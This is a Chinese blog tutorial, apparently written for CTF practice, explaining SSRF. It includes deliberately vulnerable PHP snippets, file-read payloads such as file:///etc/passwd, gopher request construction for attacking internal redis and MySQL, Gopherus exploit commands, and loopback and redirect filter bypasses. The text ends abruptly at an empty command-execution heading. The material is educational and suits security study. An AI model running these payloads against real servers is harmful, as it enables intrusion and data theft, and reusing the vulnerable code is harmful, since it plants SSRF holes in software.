SSRF漏洞
一、概念
什么是SSRF漏洞
SSRF(Server-Side Request Forgery,服务器请求伪造)是一种由攻击者构造请求,由服务端发起请求的安全漏洞,一般情况下,SSRF攻击的目标是外网无法访问的内网系统(正因为请求时由服务端发起的,所以服务端能请求到与自身相连而与外网隔绝的内部系统)。
产生漏洞的函数
1.file_get_contents()
<?php
$url = $_GET['url'];
$homepage = file_get_contents($url);
echo $homepage;
?>
// 在参数可控的情况下可能会产生,目录穿越,任意文件读取漏洞
// file_get_contents() 函数遇到了不认识的伪协议头就会将他当做文件夹,配合目录穿越即可读取文件
2.fsockopen()
用于打开一个网络连接或者一个Unix 套接字连接,初始化一个套接字连接到指定主机(hostname),实现对用户指定url数据的获取。该函数会使用socket跟服务器建立tcp连接,进行传输原始数据。fsockopen()将返回一个文件句柄,之后可以被其他文件类函数调用(例如:fgets(),fgetss(),fwrite(),fclose()还有feof())。如果调用失败,将返回false。
fsockopen($hostname,$port,$errno,$errstr,$timeout);
<?php
$host=$_GET['url'];
$fp = fsockopen($host, 80, $errno, $errstr, 30);
if (!$fp) {
echo "$errstr ($errno)<br />\n";
} else {
$out = "GET / HTTP/1.1\r\n";
$out .= "Host: $host\r\n";
$out .= "Connection: Close\r\n\r\n";
fwrite($fp, $out);
while (!feof($fp)) {
echo fgets($fp, 128);
}
fclose($fp);
}
?>
3.curl_exec()
改函数初始化一个新的会话,返回一个cURL句柄,供curlsetopt()
,curlexec()
和curlclose()
函数使用。
<?php
if (isset($_GET['url'])){
$link = $_GET['url'];
$curlobj = curl_init(); // 创建新的 cURL 资源
curl_setopt($curlobj, CURLOPT_POST, 0);
curl_setopt($curlobj,CURLOPT_URL,$link);
curl_setopt($curlobj, CURLOPT_RETURNTRANSFER, 1); // 设置 URL 和相应的选项
$result=curl_exec($curlobj); // 抓取 URL 并把它传递给浏览器
curl_close($curlobj); // 关闭 cURL 资源,并且释放系统资源
// $filename = './curled/'.rand().'.txt';
// file_put_contents($filename, $result);
echo $result;
}
?>
二、攻击方式
攻击者借助主机A发送请求给目标机B,从而获取主机B的一些信息
三、协议
SSRF漏洞的利用所涉及的协议有:
1.file 协议
file协议主要用于访问本地计算机的文件,就如同windows资源管理器中打开文件一样,在有回显的情况下,可以用于读取文件进行查看。
file 协议: 在有回显的情况下,利用 file 协议可以读取任意文件的内容
http://example.com/ssrf.php?url=file:///etc/passwd
http://example.com/ssrf.php?url=file:///C:/Windows/win.ini
其他文件如: /proc/1/environ
2.http/s 协议
通常用http/s协议用于探测内网存活。一般是先想办法得到目标主机的网络配置信息,如读取/etc/hosts、/proc/net/arp、/proc/net/fib_trie等文件,从而获得目标主机的内网网段并进行爆破。
example:(假设内网的IP为192.168.91.x)这里可以配合Burp对192.168.91.1-255
进行爆破,根据返回结果长度的不同来判断ip是否存活。
http://192.168.91.$1$
3.dict 协议
词典网络协议可以用于探测或扫描内网端口在SSRF中发挥重要作用。
dict 协议:泄露安装软件版本信息,查看端口,操作内网redis服务等
4.gopher 协议
介绍
gopher伪协议是http协议的高级版。
gopher支持发出GET、POST请求。可以先截获get请求包和post请求包,再构造成符合gopher协议的请求。gopher协议是ssrf利用中一个最强大的协议(俗称万能协议)。可用于反弹shell、内网的redis,mysql(以及各类关系型数据库)未授权访问,以及MongoDB,Memcache等。
协议格式:
gopher://<host>:<port>/_<content>
注意:gopher协议不转发第一个字符,所以要在content前加一个任意字符(这里使用下划线)作为填充位
gopher默认端口: 70
请求
gopher协议发送GET请求
与正常发送get请求一样,gopher协议也需要发送一个get头部信息给web服务器
get头部有很多字段,但是gopher只要求必须有路径和ip这两个即可:
如: GET /index.php HTTP/1.1
Host: X.X.X.X
构造pyload:
1. 原始信息:
gopher://x.x.x.x:80/_GET /index.php?a=1 HTTP/1.1
Host:X.X.X.X
2. 在ssrf服务器页面手动url编码:
gopher://x.x.x.x:80/_GET%20/index.php%3fa=1%20HTTP/1.1%0d%0aHost:X.X.X.X%0d%0a
#问号(?)需要转码为URL编码,也就是%3f
#回车换行要变为%0d%0a,但如果直接用工具转,可能只会有%0a
#在HTTP包的最后要加%0d%0a,代表消息结束(具体可研究HTTP包结束)
注意:所有get/post请求最后必须有一个换行符(包括我们正常使用http发送get请求),使用burp抓包可以看到,get头部的最后一行会有一个换行
3.或者我们直接用burp提交
//对get请求做两次url编码,第一次是模拟浏览器url编码,第二次是模拟ssrf服务器向攻击服务器提交get请求时的url编码
//为什么手动url编码只编码一次?因为那没有算浏览器的url编码,我们用burp抓包一下就能看到数据包信息已经被再次编码了
gopher协议发送POST请求
gopher发送post请求需要四个字段:
1.POST
2.Host
3.Content-Type
4.Content-Length
pyload:
1. 原始信息:
gopher://x.x.x.x:80/_POST index.php HTTP/1.1
Host:X.X.X.X
Content-Type:XXX
Content-Length:3
a=1
2. url编码
gopher://x.x.x.x:80/_POST%20index.php%20HTTP/1.1%0d%0aHost:X.X.X.X%0d%0aContent-Type:XXX%0d%0aContent-Length:3%0d%0aa=1
注意:Content-Length后面跟的长度和我们提交的POST数据长度是一致的(如果小与数据长度,则会导致读取的信息不完整)
端口扫描
gopher协议还可以探测端口是否开放
例如:
gopher协议探测出3306端口
gopher://127.0.0.1:3306
Gopherus工具解析
#下载工具
git clone https://github.com/tarunkant/Gopherus
#赋予执行权限
chmod +x install.sh
#开始进行安装
sudo ./install.sh
Gopherus工具是用来专门生成gopher协议的payload工具,通过gopher协议的以及各种被攻击应用的tcp包特点来构造payload
目前支持生成payload应用有:
MySQL (Port:3306)
FastCGI (Port:9000)
Memcached (Port:11211)
Redis (Port:6379)
Zabbix (Port:10050)
SMTP (Port:25)
Script目录下存放为各种payload生成器
简单指令:
攻击mysql
gopherus --exploit mysql
读文件:在MySQL中,LOAD_FILE()函数读取一个文件并将其内容作为字符串返回
语法:LOAD_FILE(file_name)
username:root
query:select LOAD_FILE('/flag'); #local_file()函数读取本地文件
注意:生成的payload _ 后的部分要url二次编码
5.ldap协议
ldap://localhost:1337/%0astats%0aquit
四、绕过
1.环回地址绕过
1.进制绕过
标准点分十进制
127.0.0.1
http://127.0.0.1
二进制
0b 01111111 00000000 00000000 000000001
http://0b011111110000000000000000000000001
http://0b01111111.0b00000000.0b00000000.0b000000001
八进制
0 17700000001
http://017700000001
http://0177.0000.0000.0001 http://0177.0.0.1
十六进制
0x 7F000001
http://0x7F000001
http://0x7F.0x00.0x00.0x01 http://0x7F.0.0.1
十进制
2130706433
http://2130706433
2.重定向绕过
原理:用ssrf访问重定向网页,在网页里写入pyload信息,利用重定向可以绕过ssrf服务器对pyload的限制
要求:一台公网ip服务器
操作:使用 php -S x.x.x.x:x 开启web服务监听 (注意不要使用python -m)
此时开启的是内网服务,需要使用公网ip:端口,进行映射
例如: php -S 192.168.3.1:7777
假设我的公网ip为:222.183.24.10,则:使用映射:http://222.183.24.10:7777
pyload:
index.php
<?php
header('Location:http://127.0.0.1/flag.php');
http://222.183.24.10:7777/index.php
3.命令执行
标签:协议,http,请求,SSRF,get,url,gopher
From: https://www.cnblogs.com/ctfer001/p/18168576